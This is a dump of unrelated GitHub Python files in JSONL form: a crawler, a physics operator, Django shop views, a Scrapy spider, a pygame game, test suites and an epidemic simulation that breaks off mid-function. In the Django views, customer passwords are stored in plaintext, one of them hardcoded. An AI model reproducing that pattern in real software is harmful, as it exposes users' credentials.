-> Optional:\n \"\"\"\n The *Pool* version of *ExecutorCrawler.map*.\n\n :param method: HTTP method.\n :param urls: A collection of URLs.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :return:\n \"\"\"\n\n _arguments = [(method, _url, retry) for _url in urls]\n self.__pool.map_by_args(function=self.crawl, args_iter=_arguments)\n result = self.__pool.get_result()\n return result\n\n\n def async_map(self,\n method: str, urls: List[str], retry: int = 1,\n callbacks: Union[Callable, List[Callable]] = None,\n error_callbacks: Union[Callable, List[Callable]] = None) -> Optional:\n \"\"\"\n Asynchronous version of *PoolCrawler.map*.\n\n :param method: HTTP method.\n :param urls: A collection of URLs.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :param callbacks: A *Callable* type object which would be run after done the task.\n :param error_callbacks: A *Callable* type object which would be run if it gets any exceptions in running.\n :return:\n \"\"\"\n\n _arguments = [(method, _url, retry) for _url in urls]\n self.__pool.async_map_by_args(\n function=self.crawl,\n args_iter=_arguments,\n callback=callbacks,\n error_callback=error_callbacks)\n result = self.__pool.get_result()\n return result\n\n\n def terminal(self) -> None:\n \"\"\"\n Terminate the running of Pool.\n\n :return: None\n \"\"\"\n\n self.__pool.terminal()\n\n\n def close(self) -> None:\n \"\"\"\n Close the resource of the Pool.\n\n :return: None\n \"\"\"\n\n self.__pool.close()\n\n","repo_name":"Chisanan232/smoothcrawler","sub_path":"smoothcrawler/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":26533,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"42198767732","text":"from .netket_operator import NetketOperatorWrapper\n\nimport numpy\nimport netket\n\n\ndef j1j2_two_dim_netket_operator(number_of_spins, j2=0.5, pbc=False):\n if isinstance(number_of_spins, tuple):\n L1, L2 = number_of_spins\n else:\n L1, L2 = number_of_spins, number_of_spins\n J = [1.0, j2]\n edge_colors = []\n for h in range(L1):\n for w in range(L2 - 1):\n edge_colors.append([w + L2 * h, w + 1 + L2 * h, 1])\n if h < L1 - 1:\n edge_colors.append([w + L2 * h, w + L2 * (h + 1), 1])\n edge_colors.append([w + L2 * h, w + 1 + L2 * (h + 1), 2])\n elif pbc:\n edge_colors.append([w + L2 * h, w, 1])\n edge_colors.append([w + L2 * h, w + 1, 2])\n if h > 0:\n edge_colors.append([w + L2 * h, w + 1 + L2 * (h - 1), 2])\n elif pbc:\n edge_colors.append([w + L2 * h, w + 1 + L2 * (L1 - 1), 2])\n w = L2 - 1\n if pbc:\n edge_colors.append([L2 - 1 + L2 * h, L2 * h, 1])\n edge_colors.append([w + L2 * h, L2 * ((h + 1) % L1), 2])\n edge_colors.append([w + L2 * h, L2 * ((L1 + h - 1) % L1), 2])\n if h < L1 - 1:\n edge_colors.append([w + L2 * h, w + L2 * (h + 1), 1])\n elif pbc:\n edge_colors.append([w + L2 * h, w, 1])\n\n g = netket.graph.CustomGraph(edge_colors)\n if L1 * L2 % 2 == 0:\n hi = netket.hilbert.Spin(s=0.5, total_sz=0.0, graph=g)\n else:\n hi = netket.hilbert.Spin(s=0.5, graph=g)\n sigmaz = [[1, 0], [0, -1]]\n sigmax = [[0, 1], [1, 0]]\n sigmay = [[0, -1j], [1j, 0]]\n\n interaction = numpy.kron(sigmaz, sigmaz) + numpy.kron(sigmax, sigmax) + numpy.kron(sigmay, sigmay)\n\n bond_operator = [\n (J[0] * interaction).tolist(),\n (J[1] * interaction).tolist(),\n ]\n\n bond_color = [1, 2]\n\n return netket.operator.GraphOperator(hi, bondops=bond_operator, bondops_colors=bond_color)\n\n\ndef j1j2_two_dim_operator(hilbert_state_shape, j2=0.5, pbc=False):\n max_number_of_local_connections = numpy.prod(hilbert_state_shape) * len(hilbert_state_shape) * 2 + 1\n assert len(hilbert_state_shape) == 2\n return NetketOperatorWrapper(\n j1j2_two_dim_netket_operator(tuple(hilbert_state_shape),\n j2=j2,\n pbc=pbc),\n hilbert_state_shape=hilbert_state_shape,\n should_calc_unused=True, max_number_of_local_connections=max_number_of_local_connections)\n\n\nJ1J2 = j1j2_two_dim_operator\n","repo_name":"HUJI-Deep/FlowKet","sub_path":"src/flowket/operators/j1j2.py","file_name":"j1j2.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"31"} +{"seq_id":"11326759379","text":"from django.shortcuts import render\nfrom WebMarketApp.models import Customer\nfrom django.http import HttpResponse\nfrom django.views.generic import (ListView , FormView, CreateView)\nfrom django.template import loader\nfrom django.db import IntegrityError\nfrom django.contrib.auth.forms import UserCreationForm\nfrom .forms import CustomerForm\nfrom .models import Customer\nfrom django.contrib.auth import login, authenticate\n\nclass CustomerSignUpView(FormView):\n template_name = 'WebMarketApp/customer_signup.html'\n form_class = CustomerForm\n success_url = '/index/'\n model = Customer\n\n def form_valid(self, form):\n return super().form_valid(form)\n #queryset = Customer.objects.all()\n\ndef crudops(request):\n # Creating an entry\n\n customer = Customer(\n password=\"www.polo.com\", mail=\"sorex@polo.com\",\n username=\"sorex\", phonenumber=\"002376970\"\n )\n\n customer.save()\n\n # Read ALL entries\n objects = Customer.objects.all()\n res = 'Printing all Customer entries in the DB :
'\n\n for elt in objects:\n res += elt.username + \"
\"\n\n return HttpResponse(res)\n\ndef index(request):\n latest_customer_list = Customer.objects.order_by('mail')\n template = loader.get_template('WebMarketApp/index.html')\n context = {\n 'customer_list': latest_customer_list,\n }\n return HttpResponse(template.render(context, request))\n\ndef signup(request):\n template = loader.get_template('WebMarketApp/SignUp.html')\n context = {\n 'customer_list': ''\n }\n return HttpResponse(template.render(context, request))\n\ndef signup_submit(request):\n customer = Customer(\n password=request.POST['password'], mail=request.POST['email'],\n username=request.POST['firstname'], phonenumber=\"002376970\"\n )\n try:\n customer.save()\n template = loader.get_template('WebMarketApp/MainTemplate.html')\n context = {\n 'customer_list': ''\n }\n return HttpResponse(template.render(context, request))\n except IntegrityError as e:\n template = loader.get_template('WebMarketApp/SignUp.html')\n context = {\n 'username_err': 'This username is used. Please choose another username!'\n }\n return HttpResponse(template.render(context, request))\n\ndef register(response):\n if response.method == \"POST\":\n form = UserCreationForm(response.POST)\n if form.is_valid():\n form.save()\n else:\n form = UserCreationForm()\n return render(response, \"WebMarketApp/register.html\", {\"form\":form})\n\nclass CustomerView(ListView):\n model = Customer\n\n","repo_name":"sajicomeng/WebStore","sub_path":"WebMarketApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7821447452","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\nimport scrapy\n\nclass ShiyanlouGithubSpider(scrapy.Spider):\n name = 'shiyanlougithub'\n start_urls = [\n 'http://github.com/shiyanlou?tab=repositores',\n 'https://github.com/shiyanlou?after=Y3Vyc29yOnYyOpK0MjAxNy0wNi0wNlQyMjoyMToxNlrOBZKV2w%3D%3D&tab=repositories',\n 'https://github.com/shiyanlou?after=Y3Vyc29yOnYyOpK0MjAxNS0wMS0yNlQwODoxNzo1M1rOAcd_9A%3D%3D&tab=repositories',\n 'https://github.com/shiyanlou?after=Y3Vyc29yOnYyOpK0MjAxNC0xMS0yNFQwNzowMDoxN1rOAZz3Yw%3D%3D&tab=repositories'\n ]\n\n def parse(self,response):\n for i in response.css('li.col-12'):\n yield {\n 'name': i.xpath('.//a/text()').extract_first().strip(),\n 'update_time': i.xpath('.//relative-time/@datetime').extract_first()\n }\n\n\n","repo_name":"honghonghong2ge/challenge9","sub_path":"shiyanlougithub.py","file_name":"shiyanlougithub.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74637900569","text":"from django.test import TestCase\nfrom lists.models import Item\n\n# Create your tests here.\n\nclass HomePageTest(TestCase):\n\n def test_redirects_after_POST(self):\n response = self.client.post('/',data={'item_text':'A new list item'})\n\n self.assertEqual(Item.objects.count(), 1)\n new_item = Item.objects.first()\n self.assertEqual(new_item.text,'A new list item')\n\n self.assertEqual(response.status_code,302)\n self.assertEqual(response['location'],'/lists/the-only-list-in-the-world/')","repo_name":"LC6666/DjangoDemo","sub_path":"lists/tests11.py","file_name":"tests11.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9098898772","text":"import pygame\nfrom plane_sprites import *\n\n# 游戏初始化加载pygame\npygame.init()\n\n# 创建游戏的窗口\nscreen = pygame.display.set_mode((480,700))\n\n# 绘制背景图像\nbackground = pygame.image.load(\"./images/background.png\")\nscreen.blit(background, (0, 0))\n# pygame.display.update()\n\n# 绘制英雄的飞机\nheroMe1 = pygame.image.load(\"./images/me1.png\")\nscreen.blit(heroMe1, (150, 300))\npygame.display.update()\n\n# 创建时钟对象\nclock = pygame.time.Clock()\n\n# 定义rect记录飞机的初始位置\nheroMe1Rect = pygame.Rect(150, 300, 102, 126)\n\n# 创建敌机的精灵\nenemy = GameSprite(\"./images/enemy1.png\")\nenemy1 = GameSprite(\"./images/enemy1.png\", 2)\n\n# 创建敌机的精灵组\nenemyGroup = pygame.sprite.Group(enemy, enemy1)\n\n# 循环保证\nwhile True:\n clock.tick(60)\n\n # 捕获事件\n for event in pygame.event.get(): \n # 判断用户是否点击了关闭按钮\n if event.type == pygame.QUIT:\n print(\"退出游戏\")\n # 卸载游戏模块\n pygame.quit()\n # 直接退出系统\n exit()\n\n # 修改飞机的位置\n heroMe1Rect.y -= 1\n\n # 判断飞机的位置\n if heroMe1Rect.bottom <= 0:\n heroMe1Rect.y = 700\n \n # 调用blit方法绘制图像\n screen.blit(background, (0, 0))\n screen.blit(heroMe1, heroMe1Rect)\n\n # 让精灵组调用两个方法\n # update - 让组中所有精灵更新位置\n enemyGroup.update()\n\n # draw - 在screen上绘制所有的精灵\n enemyGroup.draw(screen)\n \n # 调用update方法更新显示\n pygame.display.update()\n\npygame.quit()","repo_name":"SymfonyCordova/plane-game","sub_path":"pygame04.py","file_name":"pygame04.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6023564340","text":"\"\"\"Simulate running a phmdoctest command. Used for testing.\n\nUse during development to verify phmdoctest console commands\nwill succeed when called by Continuous Integration scripts.\nIf --outfile writes a file, the file is written in a\ntemporary directory.\nOptionally run pytest on the temporary file.\n\"\"\"\n\nfrom pathlib import Path\nimport re\nimport subprocess\nimport sys\nfrom tempfile import TemporaryDirectory\nfrom typing import List, Optional, NamedTuple\n\nimport click.testing\n\nfrom phmdoctest.main import entry_point\n\n\nSimulatorStatus = NamedTuple(\n \"SimulatorStatus\",\n [\n (\"runner_status\", click.testing.Result),\n (\"outfile\", Optional[str]),\n (\"pytest_exit_code\", Optional[int]),\n (\"junit_xml\", Optional[str]),\n ],\n)\n\"\"\"run_and_pytest() return value.\"\"\"\n\n\ndef run_and_pytest(\n well_formed_command: str,\n pytest_options: Optional[List[str]] = None,\n junit_family: Optional[str] = None,\n) -> SimulatorStatus:\n \"\"\"\n Simulate a phmdoctest command, optionally run pytest.\n\n If a filename is provided by the ``--outfile`` option, the\n command is rewritten replacing the OUTFILE with a\n path to a temporary directory and a synthesized filename.\n\n To run pytest on an ``--outfile``, pass a list of zero or\n more pytest_options. pytest is run in a subprocess.\n\n The PYPI package pytest must be installed separately\n since pytest is not required to install phmdoctest.\n Use this command: ``pip install pytest``\n\n Returns SimulatorStatus object.\n SimulatorStatus.runner_status is the CliRunner.invoke return value.\n\n If an outfile is streamed to stdout a copy of it\n is found in simulator_status.runner_status.stdout.\n\n If calling run_and_pytest() from a pytest file, try adding the\n pytest option ``--capture=tee-sys`` to the command running\n pytest on the file.\n\n For example on a checkout of phmdoctest the command line:\n\n ``python -m pytest tests -v --capture=tee-sys``\n\n will print the outputs from the subprocess.run() invocations\n of pytest on the ``--outfile`` written to the temporary directory.\n A wild guess would be that the subprocess inherited changes\n made to the parent by --capture=tee-sys.\n\n Args:\n well_formed_command\n - starts with phmdoctest\n - followed by MARKDOWN_FILE\n - ends with ``--outfile`` OUTFILE (if needed)\n - all other options are between MARKDOWN_FILE and ``--outfile``\n for example:\n ``phmdoctest MARKDOWN_FILE --skip FIRST --outfile OUTFILE``\n\n pytest_options\n List of strings like this: ``[\"--doctest-modules\", \"-v\"]``.\n Set to empty list to run pytest with no options.\n Set to None to skip pytest.\n\n junit_family\n Configures the format of the Pytest generated JUnit XML string\n returned in SimulatorStatus. The value is used for the\n Pytest configuration option of the same name.\n Set to None or the empty string to skip XML generation.\n\n Returns:\n SimulatorStatus containing runner_status, outfile,\n pytest_exit_code, and generated JUnit XML.\n \"\"\"\n if not well_formed_command.startswith(\"phmdoctest \"):\n raise ValueError(\"phmdoctest- well_formed_command must start with phmdoctest\")\n\n # trim off any trailing whitespace\n command0 = well_formed_command.rstrip()\n # chop off phmdoctest since invoking by a python function call\n command1 = command0.replace(\"phmdoctest \", \"\", 1)\n # simulate commands that don't write OUTFILE.\n wants_help = \"--help\" in command1\n wants_version = \"--version\" in command1\n stream_outfile = command1.endswith(\"--outfile -\") or command1.endswith(\n \"--outfile=-\"\n )\n no_outfile = \"--outfile\" not in command1\n runner = click.testing.CliRunner()\n if wants_help or wants_version or stream_outfile or no_outfile:\n return SimulatorStatus(\n runner_status=runner.invoke(cli=entry_point, args=command1),\n outfile=None,\n pytest_exit_code=None,\n junit_xml=\"\",\n )\n\n # Simulate commands that write an OUTFILE.\n # Split up the command into pieces.\n # Chop out the path to the markdown file.\n # Drop the rest of the command starting at --outfile and the\n # outfile path since we rename the outfile in the invoked command.\n with TemporaryDirectory() as tmpdir:\n # Create a filename in the temporary directory to\n # receive the OUTFILE.\n # Rewrite the command to use the new OUTFILE path and\n # split up the command to a list of strings.\n # Calling invoke with the single string form of the\n # rewritten command fails to find the outfile.\n # This might be because it is now an absolute path\n # to the tmpdir.\n markdown_path, command2 = command1.split(maxsplit=1)\n markdown_name = Path(markdown_path).name\n outfile_name = \"test_\" + markdown_name.replace(\".md\", \".py\")\n outfile_path = Path(tmpdir) / outfile_name\n command3 = command2[: command2.find(\"--outfile\")].strip()\n\n # Split up the rest of the command into pieces to pass to\n # runner.invoke().\n #\n # Developers:\n # Note the --outfile part has already been removed from command3.\n # If a new option that takes TEXT is added, add code here\n # to replace its '='.\n #\n # Special code to handle a --skip TEXT where TEXT is double quoted.\n # For example\n # --skip=\"Python 3.7\"\n # or\n # --skip \"Python 3.7\"\n command4a = command3.replace(\"--skip=\", \"--skip \")\n command4b = command4a.replace(\"--setup=\", \"--setup \")\n command4 = command4b.replace(\"--teardown=\", \"--teardown \")\n\n # get characters between double quotes including the quotes\n # get runs of non-whitespace characters\n args1 = re.findall(pattern=r'(\"[^\"]*\"|\\S+)', string=command4)\n # If both leading and trailing double quotes, remove them.\n args2 = [re.sub('^\"([^\"]*)\"$', r\"\\1\", arg) for arg in args1]\n phm_args = [markdown_path]\n phm_args.extend(args2)\n phm_args.extend([\"--outfile\", str(outfile_path)])\n runner_status = runner.invoke(cli=entry_point, args=phm_args)\n\n # return now if the command failed\n if runner_status.exit_code:\n return SimulatorStatus(\n runner_status=runner_status,\n outfile=None,\n pytest_exit_code=None,\n junit_xml=\"\",\n )\n\n # Copy the generated pytest file from the temporary directory.\n outfile_text = outfile_path.read_text(encoding=\"utf-8\")\n\n if pytest_options is None:\n return SimulatorStatus(\n runner_status=runner_status,\n outfile=outfile_text,\n pytest_exit_code=None,\n junit_xml=\"\",\n )\n else:\n # Run python -m pytest [options] in a subprocess.\n commandline = [sys.executable, \"-m\", \"pytest\"] + pytest_options\n if junit_family:\n junit_name = outfile_name.replace(\".py\", \".xml\")\n junit_path = Path(tmpdir) / junit_name\n commandline.append(\"--junitxml=\" + str(junit_path))\n commandline.append(\"-o junit_family=\" + junit_family)\n commandline.append(tmpdir)\n completed = subprocess.run(commandline)\n\n xml = \"\"\n if junit_family:\n xml = junit_path.read_text(encoding=\"utf-8\")\n\n return SimulatorStatus(\n runner_status=runner_status,\n outfile=outfile_text,\n pytest_exit_code=completed.returncode,\n junit_xml=xml,\n )\n","repo_name":"tmarktaylor/phmdoctest","sub_path":"src/phmdoctest/simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":7843,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"31"} +{"seq_id":"72195603927","text":"import time\nfrom collections import deque\n\n\nclass TimeMock:\n\n def __init__(self, *times, sleep=time.sleep):\n self.sleep = sleep\n self._times_ = deque(times)\n\n def time(self):\n return self._times_.popleft()\n\n\ndef test_due(confpatch, schedpatch):\n #\n # configure a single task which should run\n #\n confpatch.set_tasks(\n {\n 'run-me': {\n 'exec': ['echo', 'done'],\n 'schedule': \"H/5 * * * *\",\n },\n }\n )\n\n #\n # set up scheduler with a long-previous check s.t. task should execute\n #\n schedpatch.set_last_check(offset=3600)\n\n #\n # execute scheduler with captured logs\n #\n with confpatch.caplog() as logs:\n completed_tasks = list(schedpatch.scheduler())\n\n #\n # task should run and this should be logged\n #\n assert len(completed_tasks) == 1\n\n (task,) = completed_tasks\n assert task.returncode == 0\n assert task.stdout == 'done\\n'\n assert task.stderr == ''\n\n assert logs.field_equals(completed=1, total=1, active=0)\n\n\ndef test_skips(confpatch, schedpatch, monkeypatch):\n #\n # configure a single task which should be skipped\n #\n monkeypatch.delenv('TESTY', raising=False)\n\n confpatch.set_tasks(\n {\n 'skip-me': {\n 'exec': ['echo', 'done'],\n 'schedule': \"H/5 * * * *\",\n 'if': 'env.TESTY | default(\"0\") | int == 1',\n },\n }\n )\n\n #\n # set up scheduler with a long-previous check s.t. task should otherwise execute\n #\n schedpatch.set_last_check(offset=3600)\n\n #\n # execute scheduler with captured logs\n #\n with confpatch.caplog('INFO') as logs:\n completed_tasks = list(schedpatch.scheduler())\n\n #\n # task should NOT run and this should be logged\n #\n assert len(completed_tasks) == 0\n\n assert logs.field_equals(msg='skipped: suppressed by if/unless condition')\n\n\ndef test_refill_primary_cohort(locking_task, confpatch, schedpatch, monkeypatch, tmp_path):\n #\n # configure a long-running task kicked off at minute 0 and another task at minute 1\n #\n # if they were both short tasks, this would not exercise a \"recheck\" / \"refill\" -- only\n # because the initial task is still running past the time that the subsequent task is\n # scheduled, the scheduler performs a recheck which picks up the subsequent task, and with\n # which it refills its queue.\n #\n # because there's no tenancy-related hold-up, the primary cohort (initial check) is\n # immediately enqueued, and the refill simply recreates this cohort.\n #\n # (really the initial task will just wait on release of a file lock.\n # as such, the initial task will run only as long as needed for the test.)\n #\n confpatch.set_tasks(\n {\n 'runs-long': {\n **locking_task.conf,\n 'schedule': '0 * * * *',\n },\n 'runs-late': {\n 'exec': ['echo', 'done'],\n 'schedule': '1 * * * *',\n },\n }\n )\n\n #\n # set up & patch scheduler s.t. initial task will start and\n # recheck/refill will immediately trigger\n #\n schedpatch.set_last_check(-60) # one minute before the epoch\n\n monkeypatch.setattr(\n 'fate.sched.base.timing.time',\n TimeMock(\n 0.001, # first check time: cron minute is 0\n 60.001, # second check time (immediately following recheck)\n )\n )\n\n # scheduler loop must also check current time\n #\n # recheck 0: one minute into the epoch: cron minute is 1\n # recheck 1: (non-refill): nothing to do\n # recheck n: (non-refill): nothing to do (number depends on OS scheduler)\n check_times = (step / 10 for step in range(600, 610))\n\n monkeypatch.setattr(\n 'fate.sched.tiered_tenancy.time',\n TimeMock(\n *check_times,\n )\n )\n\n #\n # execute scheduler with captured logs\n #\n with confpatch.caplog() as logs:\n #\n # task \"runs-long\" is blocked and we've patched the scheduler loop's time s.t.\n # a minute will immediately appear to have passed -- therefore the first task\n # to complete should be \"runs-late\", enqueued by the re-check.\n #\n tasks = schedpatch.scheduler()\n\n task0 = next(tasks)\n\n assert task0.__name__ == 'runs-late'\n assert task0.exception() is None\n assert task0.returncode == 0\n assert task0.stdout == 'done\\n'\n assert task0.stderr == ''\n\n #\n # the primary cohort will have enqueued twice -- for \"runs-long\" and then\n # for the refill's \"runs-late\".\n #\n assert logs.field_count(level='debug', cohort=0, size=1, msg=\"enqueued cohort\") == 2\n\n assert logs.field_equals(level='debug', active=1, msg=\"launched pool\")\n assert logs.field_equals(level='debug', active=1, msg=\"expanded pool\")\n assert logs.field_equals(level='debug', active=2, msg=\"filled pool\")\n\n # permit \"runs-long\" to (finally) complete\n locking_task.release()\n\n # exhaust the scheduler of completed tasks\n (task1,) = tasks\n\n assert task1.__name__ == 'runs-long'\n assert task1.exception() is None\n assert task1.returncode == 0\n assert task1.stdout == locking_task.result\n assert task1.stderr == ''\n\n assert logs.field_equals(level='debug', completed=1, total=1, active=1)\n assert logs.field_equals(level='debug', completed=1, total=2, active=0)\n\n assert tasks.info.count == 2\n assert tasks.info.next == 3600 # one hour past the epoch\n\n\ndef test_refill_secondary_cohort(locking_task, confpatch, schedpatch, monkeypatch, tmp_path):\n #\n # configure a long-running single-tenancy task kicked off at minute 0, along with another\n # task also at minute 0, and another task at minute 1.\n #\n # if not for the long-running single-tenancy task, creating a backlog in its minute-zero\n # cohort, this would not exercise the secondary cohort functionality. only because the long-\n # running task must run alone, the second task is not executed, and their initial cohort\n # remains in the queue. the long-running task (eventually) forces a \"recheck\" / \"refill\", and\n # the third task must be added to a second (lower-priority) cohort.\n #\n # (really the initial task will just wait on release of a file lock ... which we'll control\n # in test / with a patch, to fully control the task's timing.)\n #\n confpatch.set_tasks(\n {\n 'runs-long': {\n **locking_task.conf,\n 'schedule': '0 * * * *',\n 'scheduling': {'tenancy': 1},\n },\n 'on-deck': {\n 'exec': ['echo', 'done'],\n 'schedule': '0 * * * *',\n },\n 'runs-late': {\n 'exec': ['echo', 'done'],\n 'schedule': '1 * * * *',\n },\n }\n )\n\n #\n # set up & patch scheduler s.t. initial task will start and\n # recheck/refill will immediately trigger\n #\n def patched_sleep(duration):\n \"\"\"release task \"runs-long\" during first sleep\"\"\"\n if locking_task.locked:\n locking_task.release()\n\n return time.sleep(duration)\n\n schedpatch.set_last_check(-60) # one minute before the epoch\n\n # scheduler \"timing\" caches \"check time\" -- unless reset for a \"refill\"\n monkeypatch.setattr(\n 'fate.sched.base.timing.time',\n TimeMock(\n 0.001, # first check time: cron minute is 0\n 60.001, # second check time (immediately following recheck)\n )\n )\n\n # scheduler loop must also check current time\n #\n # recheck 0: one minute into the epoch: cron minute is 1\n # recheck 1: (non-refill): nothing to do\n # recheck n: (non-refill): nothing to do (number depends on OS scheduler)\n check_times = (step / 10 for step in range(600, 610))\n\n monkeypatch.setattr(\n 'fate.sched.tiered_tenancy.time',\n TimeMock(\n *check_times,\n sleep=patched_sleep,\n )\n )\n\n #\n # execute scheduler with captured logs\n #\n with confpatch.caplog() as logs:\n tasks = schedpatch.scheduler()\n\n task0 = next(tasks)\n\n assert task0.__name__ == 'runs-long'\n assert task0.exception() is None\n assert task0.stdout == locking_task.result\n assert task0.stderr == ''\n\n assert logs.field_equals(level='debug', cohort=0, size=2, msg=\"enqueued cohort\")\n assert logs.field_equals(level='debug', active=1, msg=\"launched pool\")\n assert logs.field_equals(level='debug', cohort=1, size=1, msg=\"enqueued cohort\")\n\n #\n # Issue #28: RuntimeError: \"deque mutated during iteration\"\n #\n # (during subsequent enqueuing of task \"runs-late\" and clean-up of primary cohort)\n #\n task1 = next(tasks)\n\n assert task1.__name__ == 'on-deck'\n assert task1.exception() is None\n assert task1.stdout == 'done\\n'\n assert task1.stderr == ''\n\n assert logs.field_equals(level='debug', completed=1, total=1, active=1)\n assert logs.field_equals(level='debug', active=2, msg=\"expanded pool\")\n\n (task2,) = tasks\n\n assert task2.__name__ == 'runs-late'\n assert task2.exception() is None\n assert task2.stdout == 'done\\n'\n assert task2.stderr == ''\n\n assert logs.field_equals(level='debug', completed=2, total=3, active=0)\n\n assert tasks.info.count == 3\n assert tasks.info.next == 3600 # one hour past the epoch\n","repo_name":"internet-equity/fate","sub_path":"test/test_sched/test_tiered_tenancy.py","file_name":"test_tiered_tenancy.py","file_ext":"py","file_size_in_byte":9650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7106840876","text":"import math\nimport random\nfrom math import sin, cos, atan2, fabs\n\nimport pygame\n\nfrom constants import Disease, Screen, HostConfig, SimColor\n\n\nclass EpiHost:\n \"\"\"\n Host that can carry and transmit a pathogen.\n Has simple mechanical properties and a health condition\n \"\"\"\n\n def _set_speed(self, speed, angle):\n self.speed = speed\n self.angle = angle\n self.speed_x = cos(math.radians(self.angle)) * self.speed\n self.speed_y = sin(math.radians(self.angle)) * self.speed\n\n def __init__(self, state):\n self.name = state.get('name')\n self.color = state.get('color')\n\n self.condition = state.get('condition')\n self.remaining_recovery = Disease.DEFAULT_RECOVERY_PERIOD\n\n self.x = state.get('x')\n self.y = state.get('y')\n self.r = state.get('r')\n self.speed_x = 0\n self.speed_y = 0\n self._set_speed(state.get('speed'), state.get('angle'))\n\n self.contact_response = ContactResponse()\n self.contact_response.new_speed_x = 0\n self.contact_response.new_speed_y = 0\n\n self.vaccine = None\n self.is_sheltering = False\n self.limit_travel = False\n\n def draw(self, screen):\n pygame.draw.circle(screen, self.color, (int(self.x), int(self.y)), self.r)\n\n if self.vaccine:\n pygame.draw.circle(screen, SimColor.RECOVERED, (int(self.x), int(self.y)), 0.5 * self.r)\n\n def update(self, time):\n if self.is_sheltering:\n self.x = self.x\n self.y = self.y\n self.speed_x = 0\n self.speed_y = 0\n\n if self.contact_response.next_event_time < time \\\n or fabs(self.contact_response.next_event_time - time) < ContactResponse.T_EPSILON:\n\n self.x = self.contact_response.update_x(self.speed_x, self.x)\n self.y = self.contact_response.update_y(self.speed_y, self.y)\n\n self.speed_x = self.contact_response.new_speed_x\n self.speed_y = self.contact_response.new_speed_y\n\n else:\n\n if not self.limit_travel:\n self.x = self.speed_x * time + self.x\n self.y = self.speed_y * time + self.y\n else:\n self.x = 0.3 * self.speed_x * time + self.x\n self.y = 0.3 * self.speed_y * time + self.y\n\n self.contact_response.reset()\n\n def detect_contact_with_other_host(self, other, time_step):\n # relative position:\n contact_response = self.contact_time_with_other_host(other)\n\n if contact_response.next_event_time - ContactResponse.T_EPSILON > time_step:\n return\n self.transmit_pathogen(other)\n self.contact_response.next_event_time = contact_response.next_event_time\n other.contact_response.next_event_time = contact_response.next_event_time\n\n contact_point_x = self.contact_response.get_exact_new_x(self.speed_x, self.x)\n contact_point_y = self.contact_response.get_exact_new_y(self.speed_y, self.y)\n\n other_contact_point_x = other.contact_response.update_x(other.speed_x, other.x)\n other_contact_point_y = other.contact_response.update_y(other.speed_y, other.y)\n\n theta = atan2(\n other_contact_point_y - contact_point_y,\n other_contact_point_x - contact_point_x\n )\n\n speed_p = self.speed_x * cos(theta) + self.speed_y * sin(theta)\n speed_q = -self.speed_x * sin(theta) + self.speed_y * cos(theta)\n\n other_speed_p = other.speed_x * cos(theta) + other.speed_y * sin(theta)\n other_speed_q = -other.speed_x * sin(theta) + other.speed_y * cos(theta)\n\n self.contact_response.new_speed_x = other_speed_p * cos(-theta) + speed_q * sin(-theta)\n self.contact_response.new_speed_y = -other_speed_p * sin(-theta) + speed_q * cos(-theta)\n\n other.contact_response.new_speed_x = speed_p * cos(-theta) + other_speed_q * sin(-theta)\n other.contact_response.new_speed_y = -speed_p * sin(-theta) + other_speed_q * cos(-theta)\n\n def transmit_pathogen(self, interlocutor):\n if interlocutor.condition is Disease.INFECTED \\\n and self.condition is not Disease.RECOVERED:\n self.condition = Disease.INFECTED\n self.color = Disease.COLOR_MAP[self.condition]\n if self.condition is Disease.INFECTED \\\n and interlocutor.condition is not Disease.RECOVERED:\n interlocutor.condition = Disease.INFECTED\n interlocutor.color = Disease.COLOR_MAP[interlocutor.condition]\n\n def contact_time_with_other_host(self, interlocutor):\n\n x = self.x - interlocutor.x\n y = self.y - interlocutor.y\n r = self.r + interlocutor.r\n\n # relative speed between hosts\n speed_x = self.speed_x - interlocutor.speed_x\n speed_y = self.speed_y - interlocutor.speed_y\n\n a = speed_x ** 2 + speed_y ** 2\n b = (x * speed_x + y * speed_y) * 2\n c = x ** 2 + y ** 2 - r ** 2\n delta = b ** 2 - 4 * a * c\n\n response = ContactResponse()\n\n if a == 0:\n if b != 0:\n t = -c / b\n if t > 0:\n response.next_event_time = t\n return response\n else:\n return response\n\n elif delta < 0:\n return response\n\n else:\n t1 = (-b - math.sqrt(delta)) / (2 * a)\n t2 = (-b + math.sqrt(delta)) / (2 * a)\n\n if t1 > 0:\n response.next_event_time = t1\n\n elif t2 > 0:\n response.next_event_time = t2\n\n return response\n\n def detect_boundary_contact(self, bounds, time_step):\n \"\"\"\n Detects contact with one of four sides of Universe boundary\n :param bounds:\n :param time_step:\n :return:\n \"\"\"\n contactable = self.detect_contact_vertical_bounds(bounds.x, time_step)\n if contactable.next_event_time < self.contact_response.next_event_time:\n self.contact_response = contactable\n\n contactable = self.detect_contact_vertical_bounds(bounds.x + bounds.width, time_step)\n if contactable.next_event_time < self.contact_response.next_event_time:\n self.contact_response = contactable\n\n contactable = self.detect_contact_horizontal_bounds(bounds.y, time_step)\n if contactable.next_event_time < self.contact_response.next_event_time:\n self.contact_response = contactable\n\n contactable = self.detect_contact_horizontal_bounds(bounds.y + bounds.height, time_step)\n if contactable.next_event_time < self.contact_response.next_event_time:\n self.contact_response = contactable\n\n def detect_contact_vertical_bounds(self, x, time_step):\n \"\"\"\n Handle contact with vertical boundaries\n :param x:\n :param time_step:\n :return:\n \"\"\"\n if self.speed_x == 0:\n return ContactResponse()\n if x > 